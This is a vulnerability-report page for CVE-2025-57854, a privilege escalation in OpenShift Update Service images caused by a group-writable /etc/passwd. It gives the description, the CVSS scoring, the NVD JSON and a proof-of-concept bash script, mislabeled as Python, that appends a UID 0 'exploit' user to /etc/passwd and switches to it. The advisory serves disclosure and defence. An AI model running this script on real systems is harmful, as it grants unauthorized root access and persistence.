Security Vulnerability Report
中文
CVE-2025-57854 CVSS 6.4 MEDIUM

CVE-2025-57854

Published: 2026-04-08 14:16:26
Last Modified: 2026-05-04 13:47:16

Description

A container privilege escalation flaw was found in certain OpenShift Update Service (OSUS) images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, may be able to leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redhat:openshift_update_service:-:*:*:*:*:*:*:* - VULNERABLE
OpenShift Update Service (OSUS) 特定镜像

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2025-57854: Container Privilege Escalation via /etc/passwd # This script demonstrates how to add a root user if /etc/passwd is group-writable. PASSWD_FILE="/etc/passwd" # Check if the current user is in the 'root' group (GID 0) if groups | grep -q '\broot\b'; then echo "[+] Current user is in the root group." else echo "[-] Current user is NOT in the root group. Exploit failed." exit 1 fi # Check if /etc/passwd is writable by the group if [ -w "$PASSWD_FILE" ]; then echo "[+] $PASSWD_FILE is group-writable." # Define the new malicious root user entry # Format: username:password:UID:GID:gecos:home:shell # We create a user 'exploit' with UID 0 and no password set NEW_USER="exploit:x:0:0:Exploit User:/root:/bin/bash" echo "[+] Attempting to write new user to $PASSWD_FILE..." echo "$NEW_USER" >> "$PASSWD_FILE" if grep -q "^exploit:" "$PASSWD_FILE"; then echo "[+] User 'exploit' added successfully." echo "[+] Attempting to switch to user 'exploit' (UID 0)..." # Note: su might require a terminal, but in a non-interactive shell or script context, # the user entry existing is the proof of concept for persistence. su - exploit -c "id" else echo "[-] Failed to add user." fi else echo "[-] $PASSWD_FILE is not writable. Exploit failed." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57854", "sourceIdentifier": "[email protected]", "published": "2026-04-08T14:16:26.267", "lastModified": "2026-05-04T13:47:16.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A container privilege escalation flaw was found in certain OpenShift Update Service (OSUS) images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, may be able to leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_update_service:-:*:*:*:*:*:*:*", "matchCriteriaId": "D5AA556C-24FE-47A4-84EA-AE2940C5AC8A"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-57854", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391107", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}